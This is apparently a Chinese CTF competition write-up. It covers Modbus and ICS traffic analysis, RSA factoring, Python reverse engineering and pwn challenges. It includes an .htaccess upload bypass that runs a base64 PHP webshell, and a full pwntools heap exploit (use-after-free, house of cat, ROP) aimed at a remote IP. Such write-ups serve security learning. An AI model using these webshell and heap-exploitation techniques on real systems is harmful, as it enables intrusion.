本文已参与「新人创作礼」活动,一起开启掘金创作之路。
Lcx
HNGK-流量分析
打开流量包,观察流量,追踪TCP流,查询到其中有flag.php
接着在linux中使用grep指令,可以对文件进行关键字搜索
grep "flag" -a test.pacp
接着查询png关键字
grep ".png" -a test.pacp
发现存在base64加密的图片,接着使用脚本解密即可
import os, base64
img_str = '(base64码)'
img_data = base64.b64decode(img_str)
with open('1.png', 'wb') as f:
f.write(img_data)
得到flag
HNGK-Modbus流量分析
打开流量包,观察流量数据,使用脚本分析流量包中Modbus/TCP的协议功能码
import pyshark
def get_code ():
captures = pyshark.FileCapture("Modbus.pcap")
func_codes = {}
for c in captures :
for pkt in c :
if pkt.layer_name == "modbus":
func_code = int ( pkt.func_code)
if func_code in func_codes:
func_codes [ func_code ] += 1
else :
func_codes [ func_code ] = 1
print ( func_codes )
if __name__ == '__main__' :
get_code ()
运行得到1(读取线圈状态),3(读多个寄存器),4(读输入寄存器),2(读取输入内容),四个功能码都出现了702次,唯独16(预置多个寄存器)功能码只出现了两次,所以猜测与16功能码相关的流量可能存在关键数据,于是运行脚本分析与16功能码相关的流量,提取其中的数据
运行脚本:
import pyshark
def find_flag():
cap = pyshark.FileCapture("Modbus.pcap")
idx = 1
for c in cap:
for pkt in c:
if pkt.layer_name == "modbus":
func_code = int(pkt.func_code)
if func_code == 16:
payload = str(c["TCP"].payload).replace(":", "")
print(hex_to_ascii(payload))
print("{0} *".format(idx))
idx += 1def hex_to_ascii(payload):
data = payload
flags = []
for d in data:
_ord = ord(d)
if (_ord > 0) and (_ord < 128):
flags.append(chr(_ord))
return ''.join(flags)if __name__ == '__main__':
find_flag()
运行的得到一串数据:
00000000003901100001001932005400680065004d006f006400620075007300500072006f0074006f0063006f006c0049007300460075006e006e00790021
在线转换即得flag
Flag:
flag{TheModbusProtocolIsFunny!}
HNGK-modbus
流量包过滤modbus协议后,筛选不同的modbus.func_code == 1的功能码,然后观察发现两个目的地址异常的流量包1643和5486
对id减一为发送包
Flag:flag{1642+5485}
HNGK-加密文件分析
对加密的压缩文件密码爆破
爆破出来密码为10101739;
解密BB1后在力控中恢复,选择开发
在窗口里的标签中得到flag
Flag:
flag{fjsdkalg}
HNGK-奇怪的工控协议
打开流量包,追踪TCP流,在流为1处发现flag
.@.f.@l.@a.@g.@{.@s.@o.@r.@t.@_.@_.@1.@0.@4.@}
Flag:flag{sort__104}
Web
HNGK-blik
Payload:ls
Flag: flag{1ggtf9d68cc2vu028ac0qkutqvqsvfl6}
HNGK-onepiece
上传.htaccess,上传的内容有检测<?,添加gif为php解析,利用伪协议进行base64绕过
AddType application/x-httpd-php .gif php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.gif"
接着上传shell.gif
传入值为一句话密码的base64加密值,密码为whoami
Flag:flag{1ggtcscuchk334028ac0qkutqmqsvfkt}
Crypto
HNGK-HardRSA
是一个RSA,使用脚本爆破p,q
from gmpy2 import *
from Crypto.Util.number import *
# coding=utf-8
import random
import libnum
n = 75314708877985876609891002668743876625554190294166511210009550179954413879734907287395890885734882006305000064658341495591490553852990740634932819033664336759786999376788951906380623027099236652601832025317652283419527455478573200079725665895206177368408570970326643545210806238705537263439737999272322484393
d = 10304874744787654147496365278986478201114950968434882459767596171356827577657686449351556699845391000049127292331775147314862622929371560548378501236023888087293532591829210438002936193106686968965664061672386720994287123226920682554316401724229936815553418464587344630901327534059887918508779592213104601681
for e in range(10000,99999):
if e%1000==0:print(e)
# if isPrime(e):
k = e * d - 1
r = k
t = 0
while True:
r = r / 2
t += 1
if r % 2 == 1:
break
success = False
for i in range(1, 101):
g = random.randint(0, n)
y = pow(g, r, n)
if y == 1 or y == n - 1:
continue
for j in range(1, t):
x = pow(y, 2, n)
if x == 1:
success = True
break
elif x == n - 1:
continue
else:
y = x
if success:
break
else:
continue
if success:
p = libnum.gcd(y - 1, n)
q = n / p
print('P: ' + '%s' % p)
print('Q: ' + '%s' % q)
# else:
# print 'Cannot compute P and Q'
接着输出flag
# coding=utf-8
from gmpy2 import *
from md5 import md5
q=8134764250316914977240939055123307507750874306113160101218096577677584025654326282630936230074917597921184142227850055873398652706587349895667411302286629
p= 9258376341398185999350718486678388748086924961707902231684477676159974982924771328403762590710189676719483651720152226906035715671461950810512232162187317
print(is_prime(p))
print(is_prime(q))
print(p*q)
print("Flag: flag{%s}" %md5(str(p + q)).hexdigest())
Flag:flag{77d93d7406e76acbd8fc571296beba37}
Reverse
HNGK-cool
使用py解包工具解包
然后在线pyc反编译出cool.pyc
解密脚本
#!/usr/bin/env python
# visit https://tool.lu/pyc/ for more information
# Version: Python 3.8
import base64
#flag = input('Input the flag: ')
flag = "0z~UXYD}zaD5e~MRzesGZJ-Oi"
flag = "flag{Pyth0n_is_c001}"
x = base64.b64encode(flag.encode())
y = list(x)
y.reverse()
encrp = ''
for i in range(len(y)):
if i % 2 == 0:
y[i] = y[i] ^ 34
continue
if i % 3 == 0:
y[i] = y[i] ^ 51
continue
if i % 5 == 0:
y[i] = y[i] ^ 85
encrp = ''
for i in range(len(y)):
y[i] = chr(y[i])
encrp += y[i]
print(encrp)
#======================================
flag = "0z~UXYD}zaD5e~MRzesGZJ-Oi"
y = []
for i in range(len(flag)):
y.append(ord(flag[i]))
for i in range(len(y)):
if i % 2 == 0:
y[i] = y[i] ^ 34
continue
if i % 3 == 0:
y[i] = y[i] ^ 51
continue
if i % 5 == 0:
y[i] = y[i] ^ 85
for i in range(len(y)):
print(chr(y[i]),end='')
a = "=0XMwAzYfNXaf5GMoRXeQt3ZhxmZ"
print()
for i in range(len(a)):
print(a[len(a)-i-1],end='')
print()
b = "ZmxhZ3tQeXRoMG5faXNfYzAwMX0="
print(base64.b64decode(b))
Flag: flag{Pyth0n_is_c001}
HNGK-guess
按位减63后base64
解密脚本
import base64
a = "Bw0CCDwKByAa8RYgCBYGFBQgAg8FIBUTGj4="
b = base64.b64decode(a)
for i in range(len(b)):
c = b[i] + 63;
print(chr(c),end='')
flag: flag{if_you_guess_and_try}
Pwn
HNGK-easyheap
delete函数中存在UAF漏洞,edit两次,但是free七次;
攻击思路就是修改edit与free次数无限大;然后利用house of cat劫持栈进而完成orw泄露flag
Exp
from pwn import *
#from pwncli import *
context(log_level='debug',os='linux',arch='amd64')
binary = './easyheap'
#r = process(binary)
r = remote('47.92.207.120','25239')
elf = ELF(binary)
libc = elf.libc
free_got = elf.got['free']
bss_heap = 0x0000000000404180
edit_flag = 0x0000000000404090
free_flag = 0x0000000000404098
ret = 0x0000000000401704
def add(size,payload=b'\x00'):
r.sendlineafter("Please input your choice: \n",str(1))
r.sendlineafter("Please input chunk size: ",str(size))
r.sendafter("Please input your content: ",payload)
def edit(idx,payload): # 2次机会
r.sendlineafter("Please input your choice: \n",str(2))
r.sendlineafter("Please input your index: ",str(idx))
r.sendafter("Please input your content: ",payload)
def delete(idx): # 7次机会
r.sendlineafter("Please input your choice: \n",str(3))
r.sendlineafter("Please input your index: ",str(idx))
def show(idx):
r.sendlineafter("Please input your choice: \n",str(4))
r.sendlineafter("Please input your index: ",str(idx))
r.recvuntil("Your content is: ")
tmp_addr = int(r.recvuntil('\n')[:-1],16)
return tmp_addr;
def decode(num):
n1 = num & 0xffff # 低位
n2 = (num & 0xffff0000)>>16
n3 = (num & 0xffff00000000)>>32
n4 = (num & 0xffff000000000000)>>48 # 高位
if n1 == 0x44:
n1 = 0;
else:
n1 = n1 ^ 0x44
if n1 == 0:
n2 = n2 ^ 0x33
else:
n2 = n2 ^ n1 ^ 0x33
if n2 == 0:
n3 = n3 ^ 0x22
else:
n3 = n3 ^ n2 ^ 0x22
if n3 == 0:
n4 = n4 ^ 0x11
else:
n4 = n4 ^ n3 ^ 0x11
#print(hex(n1))
#print(hex(n2))
#print(hex(n3))
#print(hex(n4))
tmp_num = (n1*0x1000000000000)+(n2*0x100000000)+(n3*0x10000)+n4
return tmp_num
ex = lambda : r.sendlineafter("Please input your choice: \n",str(5))
one = [0xe3afe,0xe3b01,0xe3b04]
add(0x18)
add(0x18)
add(0x18)
add(0x18,b'flag\x00\x00\x00x\x00') # 3
delete(0)
delete(1)
edit(1,p64(bss_heap))
add(0x18) # 4
add(0x18,p64(free_got)+p64(edit_flag-0x8)+p64(free_got-0x8)) # 5
edit(1,p64(0xffff)*3)
free_addr = decode(show(0))
#success("free_addr -> "+hex(free_addr))
# 0x5ea987867fff0044 -> 0x7fccf868a6d0
libc_base = free_addr-libc.sym['free']
system = libc_base+libc.sym['system']
puts = libc_base+libc.sym['puts']
io_list_all = libc_base+libc.sym['_IO_list_all']
pointer = libc_base+0x1F3570
setcontext = libc_base+libc.sym['setcontext']
#success("system -> "+hex(system))
pop_rdi_ret = libc_base+0x0000000000023b6a # : pop rdi ; ret
pop_rsi_ret = libc_base+0x000000000002601f # : pop rsi ; ret
pop_rdx_ret = libc_base+0x0000000000142c92 # : pop rdx ; ret
o = libc_base+libc.sym['open']
rr = libc_base+libc.sym['read']
w = libc_base+libc.sym['write']
_IO_wfile_jumps = libc_base+libc.sym._IO_wfile_jumps
_IO_2_1_stderr_ = libc_base+libc.sym._IO_2_1_stderr_
stderr = 0x4040e0
edit(5,p64(stderr)+p64(pointer)+p64(bss_heap+0x18))
heap_base = decode(show(2))-0x300
edit(0,p64(heap_base+0x310)) # 修改_IO_2_1_stderr_
pointer_context = decode(show(1)) # 泄露heap
heapaddr = heap_base
next_chain = 0
fake_IO_FILE = p64(0)*4 # __vfprintf_internal
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(heapaddr+0x3c0)#rdx
fake_IO_FILE +=p64(setcontext+61)#call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heapaddr+0x1000) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(heapaddr+0x340) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(1) # _mode = 1
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(_IO_wfile_jumps+0x10) # vtable=IO_wfile_jumps+0x10 触发 _IO_switch_to_wget_mode
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heapaddr+0x340+0x10) # rax2
flagaddr=heapaddr+0x300
payload1=fake_IO_FILE+p64(flagaddr)+p64(0)+p64(0)*5+p64(heapaddr+0x530)+p64(ret) # rsp 0x150
#payload1=payload1
payload2 = p64(pop_rdi_ret)+p64(flagaddr)+p64(pop_rsi_ret)+p64(0)+p64(o)
payload2 += p64(pop_rdi_ret)+p64(3)+p64(pop_rsi_ret)+p64(bss_heap+0x200)+p64(pop_rdx_ret)+p64(0x100)+p64(rr)
payload2 += p64(pop_rdi_ret)+p64(1)+p64(pop_rsi_ret)+p64(bss_heap+0x200)+p64(pop_rdx_ret)+p64(0x100)+p64(w) # 0x98
add(0x200,payload1) # 6
add(0x100,payload2) # 7
edit(5,p64(heap_base+0x630)*3)
edit(0,p64(0)+p64(0x13))
success("system -> "+hex(system))
success("free_addr -> "+hex(free_addr))
success("heap_base -> "+hex(heap_base))
success("pointer_context -> "+hex(pointer_context))
#gdb.attach(r)
#pause()
r.sendlineafter("Please input your choice: \n",str(1))
r.sendlineafter("Please input chunk size: ",str(0x50))
r.interactive()
'''
0x000000000005b4d0: mov rsp, rdx; ret;
0x0000000000128856: mov rdx, rax; call qword ptr [rbx + 0x28];
0x0000000000156038: mov rdx, rax; mov qword ptr [rsp + 0x10], rax; mov rax, qword ptr [rdi + 8]; shr rdx, 0x20; mov qword ptr [rsp + 8], rdx; call qword ptr [rax + 8];
'''
'''
RAX 0x537300 ◂— 0x68732f6e69622f /* '/bin/sh' */
RBX 0x4019e0 (__libc_csu_init) ◂— endbr64
RCX 0x0
RDX 0x18
*RDI 0x537300 ◂— 0x68732f6e69622f /* '/bin/sh' */
RSI 0xffffffda
R8 0x1999999999999999
R9 0x0
R10 0x7fe47f8e9ac0 (_nl_C_LC_CTYPE_toupper+512) ◂— 0x100000000
R11 0x7fe47f8ea3c0 (_nl_C_LC_CTYPE_class+256) ◂— 0x2000200020002
R12 0x401190 (_start) ◂— endbr64
R13 0x7ffeb5b40610 ◂— 0x1
R14 0x0
R15 0x0
RBP 0x7ffeb5b40510 —▸ 0x7ffeb5b40520 ◂— 0x0
RSP 0x7ffeb5b40500 ◂— 0x0
*RIP 0x401783 (delete+126) ◂— call 0x4010e0
'''
'''
heap_base = 0
target_addr = libc.sym._IO_list_all
_IO_wstrn_jumps = libc_base + 0x1E8C60
_IO_cookie_jumps = libc_base + 0x1E8A20
_lock = libc_base + 0x1f5720
point_guard_addr = libc_base + 0x1F3570
expected = heap_base + 0x1900
chain = heap_base + 0x1910
magic_gadget = libc_base + 0x146020
mov_rsp_rdx_ret = libc_base + 0x56530
add_rsp_0x20_pop_rbx_ret = libc_base + 0xfd449
pop_rdi_ret = libc_base + 0x2daa2
pop_rsi_ret = libc_base + 0x37c0a
pop_rdx_rbx_ret = libc_base + 0x87729
f1 = IO_FILE_plus_struct()
f1._IO_read_ptr = 0xa81
f1.chain = chain
f1._flags2 = 8
f1._mode = 0
f1._lock = _lock
f1._wide_data = point_guard_addr
f1.vtable = _IO_wstrn_jumps
f2 = IO_FILE_plus_struct()
f2._IO_write_base = 0
f2._IO_write_ptr = 1
f2._lock = _lock
f2._mode = 0
f2._flags2 = 8
f2.vtable = _IO_cookie_jumps + 0x58
data = flat({
0x8: target_addr - 0x20,
0x10: {
0: {
0: bytes(f1),
0x100:{
0: bytes(f2),
0xe0: [chain + 0x100, rol(magic_gadget ^ expected, 0x11)],
0x100: [
add_rsp_0x20_pop_rbx_ret,
chain + 0x100,
0,
0,
mov_rsp_rdx_ret,
0,
pop_rdi_ret,
chain & ~0xfff,
pop_rsi_ret,
0x4000,
pop_rdx_rbx_ret,
7, 0,
libc.sym.mprotect,
chain + 0x200
],
0x200: ShellcodeMall.amd64.cat_flag
}
},
0xa80: [0, 0xab1]
}
})
Flag:flag{1ggti74i70bopk028ac0qkutr6qsvfld}